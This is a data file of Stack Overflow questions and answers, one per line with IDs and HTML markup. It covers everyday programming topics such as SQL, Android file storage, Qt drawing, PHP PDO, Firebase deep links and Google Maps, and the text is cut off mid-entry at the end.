5544300	0	 <p>This should work.</p> <pre><code>SELECT * FROM player WHERE height &gt; CASE WHEN @set = 'tall' THEN 180 WHEN @set = 'average' THEN 154 WHEN @set = 'low' THEN 0 END </code></pre> <p>I'll leave the &lt; case for your enjoyment.</p>
35003851	0	Is PyramidAdaptedFeatureDetector gone in OpenCV 3? <p>I have an OpenCV 2 C++ program which makes use of <a href="http://docs.opencv.org/2.4/modules/features2d/doc/common_interfaces_of_feature_detectors.html#pyramidadaptedfeaturedetector" rel="nofollow"><code>PyramidAdaptedFeatureDetector</code></a> (used over a <a href="http://docs.opencv.org/2.4/modules/features2d/doc/common_interfaces_of_feature_detectors.html#goodfeaturestotrackdetector" rel="nofollow"><code>GoodFeaturesToTrackDetector</code></a> for a Lukas-Kanade optical flow) and would like to port it to OpenCV 3. However I cannot find any trace of that class in the docs or in the code for OpenCV 3. Has it been removed? What is suggested as a replacement?</p>
14964668	0	Accessing the file created in internal storage <p>I decided to save a file using internal storage into a folder. My code is:</p> <pre><code>File dir = new File (getFilesDir(), "myFolder"); dir.mkdirs(); File file = new File(dir, "myData.txt"); try { FileOutputStream f = new FileOutputStream(file); PrintWriter pw = new PrintWriter(f); pw.println("Hi"); pw.println("Hello"); pw.flush(); pw.close(); f.close(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } tv.append("\n\nFile written to "+file); </code></pre> <p>The directory shown is data/data/packageName/file/myFolder/myData.txt However, I wanted to check whether the file contains the strings inputted but i can't seem to find where the created file is. I tried to output the contents of the file but i failed. I know this sounds ridiculous. All i wanna do is to check the contents and also know whether a file is created or not. Can anybody please help?</p>
3627718	0	 <p>If you want to make parsing very easy, try <a href="http://jsoup.org/" rel="nofollow noreferrer">Jsoup</a>:</p> <p>This example will download the page, parse and get the text.</p> <pre><code>Document doc = Jsoup.connect("http://jsoup.org").get(); Elements tds = doc.select("td.bodybox"); for (Element td : tds) { String tdText = td.text(); } </code></pre>
22471171	0	 <p>Try calling <code>invalidateLayout</code> on your layout before calling <code>reloadSections:</code>. That will cause the layout to be re-applied after the sections are redrawn, which should cause your footer to redraw.</p>
35473846	0	 <p><em>p, just p, no asterisk, no brackets</em> gives the address of the first element of the array <code>p[]</code>. <code>*p</code> on the other hand gives the value of the first element of the array <code>p[]</code>, which happens to be the address of the first element of the array <code>n[]</code>, according to the code you show.</p> <hr> <p>Lets take an example, assuming an integer is of size 4 bytes and an address if of size 8 bytes, and the first program that you showed.</p> <pre><code>int n[5] = {1,2,3,4,5}; int *p[5]; for(i = 0; i &lt; 5; i++) { p[i] = &amp;n[i]; } </code></pre> <p>The arrays would look something like this.. (addresses are assumed for explanation purpose, they are not real).</p> <pre><code>n[] = { 1, 2, 3, 4, 5}; //these are integers // ^ ^ ^ ^ ^ // 100 104 108 112 116 these are the addresses of the elements of array n[] p[] = { 100, 104, 108, 112, 116}; // these are pointer to integers // ^ ^ ^ ^ ^ // 200 208 216 224 232 these are adddress of the elements of array p[] </code></pre> <p>Now, <em>p, just p, no asterisk, no brackets</em> would give the value <code>200</code>, which is the address of the first element of the array <code>p[]</code>. </p> <p>Like wise <code>n</code> would give the value <code>100</code>. </p> <p><code>*p</code> would give the value <code>100</code> which is the element stored in the first position of the array <code>p[]</code>.</p>
11593960	0	Loading html5 pages which use javascript into a webview for a native iOS App <p>Was wondering if anyone knew how to load html5 pages which use javascript into a webview in XCode. I keep getting errors and the main one is <code>warning: no rule to process file '$(PROJECT_DIR)/donk/javascript/highlight.pack.js' of type sourcecode.javascript for architecture i386</code> I have seen apps that can do this. Can someone please let me know how to do this? Would be forever greatful.</p> <p>Cheers!</p>
16827360	0	CodeIgniter Pagination is not working with routing <p>I want to show all users page wise initially. So if I browse <code>http://mydomain/user</code> it will redirect to <code>http://mydomain/user/page/1</code> and so on. But if I browse <code>http://mydomain/user/1</code> it will show only single user with id of user. </p> <p><code>http://mydomain/user/1</code> >> it works fine. But as I want pagination so I want to redirect <code>http://mydomain/user</code> to <code>http://mydomain/user/page/1</code> always</p> <p>My Routing Info is:</p> <pre><code>$route['user/(:num)'] = 'user/index/$1'; $route['user'] = 'user/page/$1'; </code></pre> <p>But when I pressed to <code>http://mydomain/user</code> it does not rout to <code>user/page/$1</code>. I have index() method which output to single user information if I give slug. so get a page wise list I used routing and page method. But it is not working. it gives <code>404 Page not found</code></p> <p>Could anybody have solution please..</p>
28269713	0	Drawing a line with a pixmap brush in Qt? <p>For some time I'm developing a simple drawing and painting app with Qt/C++. </p> <p>Currently I'm using QPainter::drawLine() to draw, and it works fine.</p> <p>What I want to do is drawing with pixmap brushes, which in a way I can do. I can draw with single color filled pixmaps using QPainterPath and QPainter::strokePath(). I stroke the path with a pen using a brush with the pixmap.</p> <p>In case you're still reading, my problem is, if I use a QPen and QPainter::strokePath() I get a line with tiled brush. But I want the pixmap to be drawn along the line. Like the image based brushes in some image editors. I can do that with drawRect(), but that draws the pixmaps apart.</p> <p>If you understand my problem from the gibberish I wrote, how can I draw a line with a pixmap brush?</p> <p>Edit: Here's what I do currently:</p> <pre><code>void Canvas::mouseMoveEvent(QMouseEvent *event) { polyLine[2] = polyLine[1]; polyLine[1] = polyLine[0]; polyLine[0] = event-&gt;pos(); //Some stuff here painter.drawLine(polyLine[1], event-&gt;pos()); } </code></pre> <p>This is what I tried:</p> <pre><code>void Canvas::mouseMoveEvent(QMouseEvent *event) { QPen pen(brush, brushSize, Qt::SolidLine, Qt::RoundCap, Qt::BevelJoin); //Some stuff here path.lineTo(event-&gt;pos()); painter.strokePath(path, pen); //This creates a fine line, but with a tiled brush } </code></pre> <p>To draw a pixmap along mouse movement, I tried</p> <pre><code>void Canvas::mouseMoveEvent(QMouseEvent *event) { //Some stuff QBrush brush(QPixmap(":images/fileName.png")); painter.setBrush(brush); painter.setPen(Qt::NoPen); painter.drawRect(QRect(event-&gt;pos() - brushSize / 2, event-&gt;pos() - brushSize / 2, brushSize, brushSize)); //This draws the pixmaps with intervals. } </code></pre>
29455119	0	 <p>The problem can be that you requesting a SignedUrl for a PUT request but you later on POST the file to S3. You should PUT the file to S3 not POST.</p> <p>SignedUrls only allow GET and PUT right now.</p> <p>For more info see this answer: <a href="http://stackoverflow.com/questions/19322697/upload-file-from-angularjs-directly-to-amazon-s3-using-signed-url/28125814#28125814">upload-file-from-angularjs-directly-to-amazon-s3-using-signed-url</a></p>
10454434	0	 <p>You have create new call,simple method using call files.</p> <p><a href="http://www.voip-info.org/wiki/view/Asterisk+auto-dial+out" rel="nofollow">http://www.voip-info.org/wiki/view/Asterisk+auto-dial+out</a></p> <p>After that you have place one of call legs to your conference like this</p> <pre><code>Channel: Local/1111@conference Application: Playback Data: some/soundfile </code></pre> <p>Where conference is context to get to ur conference room. No need do spy or somethign like that,that is wast of time/cpu</p>
37806549	0	 <p>The explicit assignment:</p> <pre><code>Intent intent = new Intent(this, HelloWorldActivity.class); startActivity(intent); </code></pre> <p>should work fine provided you have added the import for HelloWorldActivity.class with the full package name of your module viz. ir.sibvas.testlibary1.HelloWorldActivity</p>
32670160	0	 <p>The symbol <code>&amp;</code> is the <code>and</code> logical operator. You can use it for multiple conditions in your <code>while</code> loop.</p> <pre><code>while (user_input ~= 256 &amp; user_input ~= 128 &amp; user_input ~= 64) prompt = 'Please enter one of the listed gray levels (256, 128, 64, 32, 16, 8, 4, 2). '; user_input = input(prompt); end </code></pre> <p>As beaker pointed out, what you ask is to ask for input as long as it is not one of the following values : 256, 128 or 64. Using the <code>or</code> logical operator would mean that <code>user_input</code> should be 256, 128 and 64 at the same time to break the loop.</p> <hr> <p>You can also use <a href="http://fr.mathworks.com/help/matlab/ref/ismember.html" rel="nofollow"><code>ismember</code></a>.</p> <pre><code>conditionnal_values = [256, 128 , 64] while ~ismember(user_input, conditionnal_values) prompt = 'Please enter one of the listed gray levels (256, 128, 64, 32, 16, 8, 4, 2). '; user_input = input(prompt); end </code></pre> <hr> <p>An other way to go, proposed by Luis Mendo, is to use <a href="http://fr.mathworks.com/help/matlab/ref/any.html" rel="nofollow"><code>any</code></a></p> <pre><code>conditionnal_values = [256, 128 , 64] while ~any(user_input==conditionnal values) prompt = 'Please enter one of the listed gray levels (256, 128, 64, 32, 16, 8, 4, 2). '; user_input = input(prompt); end </code></pre> <p><code>user_input == conditionnal_value</code> returns an array composed of 1s and 0s depending on if values of <code>conditionnal_values</code> match with <code>user_input</code>. Then any finds if there is at least one <code>1</code> on this array. Then we apply <code>~</code> which is the <code>not</code> operator.</p>
23837949	0	 <p>You must create a new method in Product something like <code>update_or_create_colors</code> that updates or creates new ProductColor, and in your controller just call that method, I don't thing there is a method in rails for your especific case.</p>
40868428	0	Tree Network in D3 with custom HTML <p>I am trying to draw a tree like a path in d3 but I haven't been able to make it work. The idea is to have nodes with custom HTML in them. The paths start at the same node and end in the same node. How can I draw this with d3?</p> <p><a href="https://i.stack.imgur.com/ttriI.jpg" rel="nofollow noreferrer">This is the desired output</a></p> <p>Some nodes repeat themselves in different places. For example D happens after C and it also happens after A. Also C happens after A and after D. The start and end is always the same but everything in between is not.</p> <p>I tried using treant JS and D3 but so far nothing I have done has worked.</p> <p>Thanks</p>
19979247	0	 <p>Thank you so much for asking this. It finally helped me solve my related problem.</p> <p>For me, \alpha and \beta both fail. They both fail even without the subscript part coming into play. But if I use the curly braces it works:</p> <pre><code>:math:`\alpha` </code></pre> <p>does not compile</p> <pre><code>:math:`{\alpha}` </code></pre> <p>gives me the symbol I want</p> <pre><code>:math:`{\\alpha}` </code></pre> <p>gives me the word 'alpha' written as adjacent math variables a, l, p, h, a.</p>
5595553	0	 <p>You have to check if it was clean request or not. Otherwise you will fall into infinite loop</p> <p>Here is an <em>example</em> from one of my projects:</p> <p>.htaccess</p> <pre><code>RewriteEngine On RewriteRule ^game/([0-9]+)/ /game.php?newid=$1 </code></pre> <p>game.php</p> <pre><code>if (isset($_GET['id'])) { $row = dbgetrow("SELECT * FROM games WHERE id = %s",$_GET['id']); if ($row) { Header( "HTTP/1.1 301 Moved Permanently" ); Header( "Location: /game/".$row['id']."/".seo_title($row['name'])); } else { Header( "HTTP/1.1 404 Not found" ); } exit; } if (isset($_GET['newid'])) $_GET['id'] = $_GET['newid']; </code></pre> <p>So, you have to verify, if it was direct "dirty" call or rewritten one.<br> And then redirect only if former one.<br> You need some code to build clean url too. </p> <p>And it is also very important to show 404 instead of redirect in case url is wrong.</p>
22069014	0	 <p>The <a href="http://stackoverflow.com/a/21954767/1728537">first answer</a> is not completely correct. In the context of <code>git-add</code>, the <code>:/</code> cannot be a revision. It is a <em>pathspec</em>. See <a href="http://stackoverflow.com/a/22049939/1728537">my answer</a> to the related question "<a href="http://stackoverflow.com/questions/22047909/what-does-git-add-a-do">What does &quot;git add -A :/&quot; do?</a>".</p> <p><em>pathspec</em> is defined in <a href="https://www.kernel.org/pub/software/scm/git/docs/gitglossary.html" rel="nofollow">gitglossary(7)</a>.</p>
20169055	0	UITableviewcell set property <p>I need to set the properties in uitableviewcell. The following code is written as I do.</p> <p>myTableViewCell.h</p> <pre><code>@interface myTableViewCell : UITableViewCell @property (nonatomic, weak) NSString *row; @property (nonatomic, weak) NSString *section; </code></pre> <p>myTableViewCell.m</p> <pre><code>- (id)initWithStyle:(UITableViewCellStyle)style reuseIdentifier:(NSString *)reuseIdentifier { self = [super initWithStyle:style reuseIdentifier:reuseIdentifier]; if (self) { NSLog(@"%@",_row); } return self; </code></pre> <p>}</p> <p>myTableViewController.m</p> <pre><code>- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { static NSString *CellIdentifier = @"Cell"; myTableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:CellIdentifier]; if (cell == nil) { cell = [[myTableViewCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:CellIdentifier]; } cell.row = [NSString stringWithFormat:@"%i",indexPath.row]; </code></pre> <p>Result row = nill. What is wrong?</p>
32538782	0	Bind value with PDO, problems inserting IS NULL <p>I have this function: </p> <pre><code> function fetch_article_comments($article_id, $parent_id) { $app = new Connection(); if ($parent_id &gt; 0) { $parent_id = '= '. $parent_id; } else { $parent_id = "IS NULL"; } $sql = "SELECT * FROM recursive WHERE article_id = :article_id AND comment_parent :parent_id ORDER BY comment_timestamp DESC"; $query = $app-&gt;getConnection()-&gt;prepare($sql); try{ $query-&gt;execute(array(':article_id' =&gt; $article_id, ':parent_id' =&gt; $parent_id)); $comments = $query-&gt;fetchAll(); //returns an stdClass $query-&gt;closeCursor(); return $comments; } catch(PDOException $e){ die($e-&gt;getMessage()); } } </code></pre> <p>And i want <code>$parent_id</code> to be <code>IS NULL</code>. But i get this error message:</p> <blockquote> <p>PHP Warning: PDOStatement::execute(): SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''IS NULL' ORDER BY comment_timestamp DESC'</p> </blockquote> <p>And for the sake of nice clean code, i don't want the whole query inside the if statement.</p> <p>But how can <code>$parent_id</code> be set to <code>IS NULL</code> and not <code>'IS NULL'</code>?</p>
37610950	0	Firebase dynamic link not opening the app <p>I have developed installed an android app locally on my device. (app not yet on android play store). I have the logic to get deep link in MainActivity.</p> <pre><code>GoogleApiClient mGoogleApiClient = new GoogleApiClient.Builder(this) .enableAutoManage(this, null) .addApi(AppInvite.API) .build(); // Check if this app was launched from a deep link. Setting autoLaunchDeepLink to true // would automatically launch the deep link if one is found. boolean autoLaunchDeepLink = false; AppInvite.AppInviteApi.getInvitation(mGoogleApiClient, this, autoLaunchDeepLink) .setResultCallback( new ResultCallback&lt;AppInviteInvitationResult&gt;() { @Override public void onResult(@NonNull AppInviteInvitationResult result) { if (result.getStatus().isSuccess()) { // Extract deep link from Intent Intent intent = result.getInvitationIntent(); String deepLink = AppInviteReferral.getDeepLink(intent); Toast.makeText(getApplicationContext(), deepLink, Toast.LENGTH_LONG).show(); // Handle the deep link. For example, open the linked // content, or apply promotional credit to the user's // account. // ... } else { Log.d(TAG, "getInvitation: no deep link found."); } } }); </code></pre> <p>I built some dynamic links using Firebase console and open in mobile browser. But it is not opening my app and reaching to line String deepLink = AppInviteReferral.getDeepLink(intent);</p> <p>Instead it is opening the URL in mobile browser itself.</p> <p>How to open the app and handle deep link in activity while using firebase dynamic link??</p> <p>Edit:</p> <p>I habe intent filter also in manifest file.</p> <pre><code>&lt;activity android:name="MainActivity" android:label="@string/app_name"&gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.MAIN" /&gt; &lt;category android:name="android.intent.category.LAUNCHER" /&gt; &lt;action android:name="android.intent.action.VIEW"/&gt; &lt;category android:name="android.intent.category.DEFAULT"/&gt; &lt;category android:name="android.intent.category.BROWSABLE"/&gt; &lt;data android:host="example.com" android:scheme="http"/&gt; &lt;data android:host="example.com" android:scheme="https"/&gt; &lt;/intent-filter&gt; &lt;/activity&gt; </code></pre>
1037865	0	 <p>a short notice on the installation. .NET is as default xcopy-able so you wouldn't need an installer for the exe to be usable. Mail it around (or with the next release of the .NET framework optionaly leave it on a network share)</p>
10920051	0	 <p>You can always write some java code with the apache httpcompenents library. see <a href="http://hc.apache.org/" rel="nofollow">http://hc.apache.org/</a></p> <p>It is not difficult to use</p>
18916160	0	AutoGenerateColumns="False" Causes Empty RadGrid on Databind <p>If <code>AutoGenerateColumns="True"</code> then the grid will bind with the dataset and shows the data, but if set to false will not bind and will show the NoRecords value, even though the datatable has rows. </p> <p>What causes this, and how can I fix it?</p> <pre><code>pas.MasterTableView.AutoGenerateColumns =false; DataTable dt = new DataTable(); dt.Columns.Add("SNo"); dt.Columns.Add("Name"); dt.Columns.Add("Add"); DataRow dsa = dt.NewRow(); dsa["SNo"] = "1"; dsa["Name"] = "Karthik"; dsa["Add"] = "Hyd"; dt.Rows.Add(dsa); dsa = dt.NewRow(); dsa["SNo"] = "2"; dsa["Name"] = "krishna"; dsa["Add"] = "Hyd"; dt.Rows.Add(dsa); dsa = dt.NewRow(); dsa["SNo"] = "3"; dsa["Name"] = "kailas"; dsa["Add"] = "Hyd"; dt.Rows.Add(dsa); dsa = dt.NewRow(); dsa["Sno"] = "4"; dsa["Name"] = "Billa"; dsa["Add"] = "Hyd"; dt.Rows.Add(dsa); dsa = dt.NewRow(); dsa["Sno"] = "5"; dsa["Name"] = "asdf"; dsa["Add"] = "qwer"; dt.Rows.Add(dsa); pas.DataSource = dt; pas.DataBind(); </code></pre>
30761824	0	 <p>What you have done is almost correct. Just change <code>.currentmember</code> to an actual measure in your cube. Currently when you have the following it is referring to itself i.e. <code>currentmember</code> by the black arrow it referring to the measure <code>count</code> by the black arrow... </p> <p><img src="https://i.stack.imgur.com/4LJJU.png" alt="enter image description here"></p> <p>This is in <code>AdvWrks</code>:</p> <pre><code>SELECT {[Measures].[Internet Sales Amount]} ON 0 ,{[Product].[Product Categories].[Category]} ON 1 FROM [Adventure Works]; </code></pre> <p>It returns this:</p> <p><img src="https://i.stack.imgur.com/VBt1V.png" alt="enter image description here"></p> <p>If I want to replace the empty cell for Components the we can use <code>CASE</code>:</p> <pre><code>WITH MEMBER [Measures].[count] AS CASE [Measures].[Internet Sales Amount] WHEN 0 THEN "XXX" ELSE [Measures].[Internet Sales Amount] END ,format_string = "#,###,##0" SELECT { [Measures].[count] } ON 0 ,{[Product].[Product Categories].[Category]} ON 1 FROM [Adventure Works]; </code></pre> <p>This now returns this:</p> <p><img src="https://i.stack.imgur.com/NIl2Z.png" alt="enter image description here"></p> <p><code>IIF</code> is used a lot more in <code>MDX</code> than <code>CASE</code> - <code>IIF</code> is nearly always faster. So the above equivalent using <code>IIF</code> is the following:</p> <pre><code>WITH MEMBER [Measures].[count] AS IIF ( [Measures].[Internet Sales Amount] = 0 ,"XXX" ,[Measures].[Internet Sales Amount] ) ,format_string = "#,###,##0" SELECT {[Measures].[count]} ON 0 ,{[Product].[Product Categories].[Category]} ON 1 FROM [Adventure Works]; </code></pre>
24063915	0	Intermittent Swift Framework Compiler Error <p>I am trying out Swift in the XCode beta. In particular using an @IBDesignable and @IBInspectable. I am building a framework containing an (@IBDesignable) UIView subclass and a Simple iOS App in order to test it out (Both contained in and linked via a workspace). After a few successful builds I get the following error in the framework build output:</p> <p>:0: error: /Users/richardpj/Projects/Swift2/Swift2FW/build/Swift2FW.build/Debug-iphonesimulator/Swift2FW.build/unextended-module.modulemap:2: umbrella header 'Swift2FW.h' not found :0: error: could not build Objective-C module 'Swift2FW'</p> <p>Before you ask I've done a clean and deleted my derived data but nothing seems to resolve it except deleting and recreating the workspace and project files.</p> <p>Any ideas on the source of the error, how to replicate (for a bug report) OR am I being dumb.</p> <p><strong>EDIT:</strong> I've gotten 50 views since this was posted. Sounds like it's a bug I should report. Any ideas on how to do that?</p>
8640862	0	 <p>this will usually do it:</p> <p><code>android:numeric="integer"</code></p>
15952531	0	 <p>It is not included in core of <a href="http://jquery.com" rel="nofollow">jQuery</a>, it come with a plugin called <a href="http://www.bvbcode.com/code/82iamsqt-867838" rel="nofollow">ajaxQueue</a>. mode:abort, abort all current ajax request, optional you can use a port to limit which group you are aborting. Code example with <a href="http://bassistance.de/jquery-plugins/jquery-plugin-autocomplete/" rel="nofollow">jQuery autocomplete</a> plugin:</p> <pre><code>$.ajax({ // try to leverage ajaxQueue plugin to abort previous requests mode: "abort", // limit abortion to this input port: "autocomplete" + input.name, .... </code></pre>
37077763	0	 <p>Use <code>setInterval</code> function to do your checking</p> <pre><code> setInterval(function(){ var value=$("#your_id").val();//textbox value $.ajax({ url: "ajax.php", type: "get", //send it through get method data:{value: value }, success: function(response) { //Do Something //alert(response); }, error: function(xhr) { //Do Something to handle error } }); }, 5000); </code></pre> <p>In ajax.php you check that value</p> <pre><code>if(isset($_GET['value'])){ $value=$_GET['value']; //select your old value from database suppose it as $old_value if($value!=$old_value){ //update your table using $value } } </code></pre>
29620852	0	 <p>Thank you so much everyone, the answer was easier than i though:</p> <p>The file test.json:</p> <pre><code>{ "test": "Hello World!" } </code></pre> <p>And the code:</p> <pre><code>var a = OwNet.get( 'core/config/test.json', function( Res ) { // Res is the response from an AJAX request (where i requested the test.json file) if( Res !== "" &amp;&amp; Res !== undefined &amp;&amp; Res !== null ) { // Replacing the line breaks, carriage returns and spaces Res = Res.replace( /\r\n|\r|\n|\s*/gm, "" ); // Erased the JSON.stringify and replaced tmp by Res return JSON.parse( Res ); } else return null; }); </code></pre>
28388084	0	How can I get preventDefault to work for all browsers? <p>I have weird problem with event.preventDefault. This works fine on Chrome but doesn't work on Firefox. I know many people fix it by adding event arg like this: myFunction(event) but doing this makes it stop working on both Chrome and Firefox. Can someone help me get this code working on all browsers?</p> <pre><code> &lt;script type="text/javascript"&gt; function myFunction() { var asdf = $('input[name=payment_type]:checked', '#buy').val() if (asdf == 'theRightOne') { event.preventDefault() alert("stuff") } } &lt;/script&gt; </code></pre>
14595845	0	Gtkmm getting label color <p>I do not have a code error, I have just looked everywhere and cannot figure out how to do this. I want to get the color of a Gtk::widget, the Gtk::label. I can override the color of a label like this: l.override_color( c, l.get_state_flags() ); , but I have no idea how to get that color back from the label, thanks!</p>
8703676	0	 <p>My way of doing this is simple:</p> <ul> <li>When a user loads a page, their "last page load time" is updated in the database.</li> <li>A cron script runs every minute. It looks for users whose "last page load time" was in the last minute.</li> <li>Increment the "time spent on site" for each user found.</li> </ul> <p>In this way, I can keep track of users accurately to the minute. Just divide by 60 to get the hours.</p>
34884282	0	 MarkLogic Content Pump is an open-source, Java-based command-line tool (mlcp). mlcp provides the fastest way to import, export, and copy data to or from MarkLogic databases. It is designed for integration and automation in existing workflows and scripts.
5280646	0	 <p>Add 3 to your allocation amount. Allocate the memory. If the returned address isn't already a multiple of 4, round it up until it is. (The most you'd have to round up is 3, which is why you pad your allocation by that much in advance.)</p> <p>When you free the memory, remember to free the original address, not the rounded-up value.</p>
20091695	0	 <p>Try this:</p> <pre><code>string myscript = "$('a.fancybox-messageboard').fancybox({ width: 600, height: 440,closeClick: true, hideOnOverlayClick: true, href: 'http://upload.wikimedia.org/wikipedia/commons/1/1a/Bachalpseeflowers.jpg' }).trigger('click');" ScriptManager.RegisterClientScriptBlock(this, this.GetType(), Guid.NewGuid().ToString(), "&lt;script&gt;" + myscript + "&lt;/script&gt;", false); </code></pre>
22299497	0	 <p>To understand the difference it will be helpful to consider a more simple example. Let;s assume that there are two stand-alone functions</p> <pre><code>int f() { static int x; return x; } int &amp; g() { static int x; return x; } </code></pre> <p>As you see the both functions have the same body and return statements.</p> <p>The difference between them is that in the first case a copy of static variable x is returned while in the second case a reference to static variable x is returned.</p> <p>So in the second case you can do for example the following</p> <pre><code>g() = 10; </code></pre> <p>and variable x defined in the body of the function will be changed.</p> <p>In the first case you may not and can not do the same. In this case a temporary int object is created that is a copy of variable x.</p>
26853465	0	 <p><code>\</code> is an escape charecter in most languages, so the compiler expects an escaped char after it, in this case its also <code>\</code>, so you just need to use 2 of them</p> <pre><code>File.open("C:\\Users\\C*****\\Documents\\RubyProjects\\text.txt </code></pre>
22665378	0	 <p>Have you tried <code>keyCode == 82</code>, not <code>114</code>? <a href="http://www.cambiaresearch.com/articles/15/javascript-char-codes-key-codes" rel="nofollow">Key codes</a> are not the same as ASCII/charCodes, so there's no upper/lower case consideration.</p> <p>This worked for me (well, technically I used it with a JQuery keydown handler, not <code>document.onkeypress</code>):</p> <pre><code>document.onkeypress = function(e){ if ((e.ctrlKey || e.metaKey) &amp;&amp; e.keyCode == 82) // Ctrl-R e.preventDefault(); } </code></pre> <p>And for all those crying "bad design" - I'm building a terminal emulator and want CTRL-R to match the Bash CTRL-R to search history, not refresh the page. There are always use cases.</p>
25640265	0	 <p>The problem seems to be because of improperly formatted code. The quotes are a little mixed up.</p> <pre><code>$("&lt;div class='child' id='cross" + counter + "'&gt;&lt;/div&gt;") </code></pre> <p>This should work. To insert it into the DOM, you could do something like:</p> <pre><code>$('body').append("&lt;div class='child' id='cross" + counter + "'&gt;&lt;/div&gt;") </code></pre> <p><a href="http://jsfiddle.net/1ok6b2ro/" rel="nofollow">Here's an example</a>.</p>
40629951	0	Can i use 4 Action button in Notification manager ? like B1, B2, B3, B4 <p>I am using Notification Manager and have added 4 action button like YES, NO, MAYBE, LATER. But, 4th button is not showing.</p> <p>What could be the possible reason...? Kindly guide.</p> <p>Regards, Sanjay</p>
15248110	0	 <p>The Exception <code>DOMException</code> with the message </p> <blockquote> <p>Invalid Character Error</p> </blockquote> <p>means that you have tried to create an element (<a href="http://php.net/DOMDocument.createElement" rel="nofollow"><code>DOMDocument::createElement()</code></a>) containing invalid characters in the element name:</p> <pre><code>$mydom-&gt;createElement($name, $link) ^ | first parameter is the element name </code></pre> <p>In XML not every name is valid, some even contain invalid characters (for example a space <code>" "</code> or the backslash <code>/</code>) or invalid byte-sequences that aren't anything from the Unicode UTF-8 range. DOMDocument in PHP accepts UTF-8 as input only. So for for general. If you want to learn in depth which characters are valid in XML element names you can find more information that you will likely ever need in your live in <a href="http://stackoverflow.com/questions/2519845/how-to-check-if-string-is-a-valid-xml-element-name"><em>How to check if string is a valid XML element name?</em></a>.</p> <p>So for now if you look closely to the stacktrace of the error message you can probably even spot the problem:</p> <blockquote> <pre><code>DOMDocument-&gt;createElement('/joomla/compone...', 'Arduino') ^ ^ </code></pre> </blockquote> <p>The <code>/</code> character is not valid inside an XML element name. Fix the issue and you should be able to just add your stuff. Just use an element name that is valid in the end.</p>
7406826	0	 <p>Generally speaking, you don't want to divorce your URL from any semblance of meaning for the user unless you are significantly shortening it for use in character-limited settings like a Twitter post.</p> <p>That said, there are a few ways to implement this. You can:</p> <ul> <li>Pre-generate these URLs and store the cross-referenced query string in the database (use "f4cdret4" as a unique index, "a=10&amp;b=20&amp;c=30" as a second column)</li> <li>Mash them together with some kind of separator (a=10&amp;b=20&amp;c=30 becomes "a10-b20-c30")</li> <li><p>Use htaccess to make pseudo-directories (a=10&amp;b=20&amp;c=30 becomes "mydomain.com/q/10/20/30")</p> <p><code>RewriteEngine On</code></p> <p><code>RewriteRule /q/(.*)/(.*)/(.*)$ /page/play.php?a=$1&amp;b=$2&amp;c=$3</code></p></li> </ul>
23511872	0	 <p><strong>Update</strong></p> <p>You could build a separate directive which dynamically compiles the required directive:</p> <pre><code>app.directive('dynamicDirective', function($compile) { return { restrict: 'A', replace: true, scope: { dynamicDirective: '=' }, link: function(scope, elem, attrs) { var e = $compile("&lt;div " + scope.dynamicDirective + "&gt;&lt;/div&gt;")(scope); elem.append(e); } }; }); </code></pre> <p>It can be used as follows (in this sample <code>someDirective</code> is defined on the scope and has the name of the required directive):</p> <pre><code>&lt;div dynamic-directive="someDirective"&gt;&lt;/div&gt; </code></pre> <p><a href="http://plnkr.co/edit/u5moX3RkRavX8gqFlc7J?p=preview" rel="nofollow">Here is a sample</a></p>
38411509	0	 <p>That’s a runtime exception so the compiler can’t help you with catching it at a compile time. And the <code>try-catch</code> block helps you to <strong>handle</strong> this exception, not to prevent it from being thrown at the runtime. If you don’t make a try-catch block it will be handled at a general application level.</p> <p>A quote from MSDN:</p> <blockquote> <p>When an exception is thrown, the common language runtime (CLR) looks for the catch statement that handles this exception. If the currently executing method does not contain such a catch block, the CLR looks at the method that called the current method, and so on up the call stack. If no catch block is found, then the CLR displays an unhandled exception message to the user and stops execution of the program.</p> </blockquote> <p>Please refer to the <a href="https://msdn.microsoft.com/en-us/library/0yd65esw.aspx" rel="nofollow">MSDN try-catch</a> for more information.</p>
21804382	0	Completely stuck on where to start on programing <p>I've been given a task to produce a webpage which solves the quadratic formula. Talking to friends they have said the simplised way is to learn java script and build the webpage. I have been learning the language on code academy and that's fine but where and how do I i write in my own code and execute it for java script? All I have been using so far is the editor page on code academy. Im completely lost in where to go next</p>
23977832	0	Move Content Down on Mobile Phones <p>I'm trying to move a column of content down on mobile phones (no tablets), but can't figure it out. The end goal is to move the custom field data below the body text.</p> <p>Via:<a href="http://beta.johnslanding.org/portland/canyon-hoops/" rel="nofollow noreferrer">http://beta.johnslanding.org/portland/canyon-hoops/</a></p> <pre><code>.one-fourth.last.right </code></pre> <p><strong>Tried this:</strong></p> <pre><code>@media only screen and (min-device-width : 400px) { -webkit-column-break-inside:avoid; -moz-column-break-inside:avoid; -o-column-break-inside:avoid; -ms-column-break-inside:avoid; column-break-inside:avoid; } </code></pre> <p>You'll see on my iPhone the theme keeps these two columns together:</p> <p><img src="https://i.stack.imgur.com/I5LMv.png" alt="enter image description here"></p>
26318272	0	Google map API v3 plot with Radar loop overlay with automatic update to radar <p>So im trying to create a dynamic loading to a radar loop site mixed with Google Map API v3</p> <p>Currently i have this to just plot a line from 1 to another and looking to get weather center at zoom 12</p> <pre><code>function initialize() { var myLatlng = new google.maps.LatLng(34.01115000,-84.27939000); var mapOptions = { zoom: 12, center: new google.maps.LatLng(34.01115000,-84.27939000), }; var map = new google.maps.Map(document.getElementById('map-canvas'), mapOptions); var flightPlanCoordinates = [ new google.maps.LatLng(34.01115000,-84.27939000), new google.maps.LatLng(34.03050000,-84.35833000), ]; var flightPath = new google.maps.Polyline({ path: flightPlanCoordinates, geodesic: true, strokeColor: '#0000FF', strokeOpacity: 5.8, strokeWeight: 10, fillOpacity: 0.35 }); flightPath.setMap(map); } google.maps.event.addDomListener(window, 'load', initialize); </code></pre> <p>But here i wanna load in a radar loop and update the lat/long somehow but still automatically move the map and adjust the radar.</p> <p><a 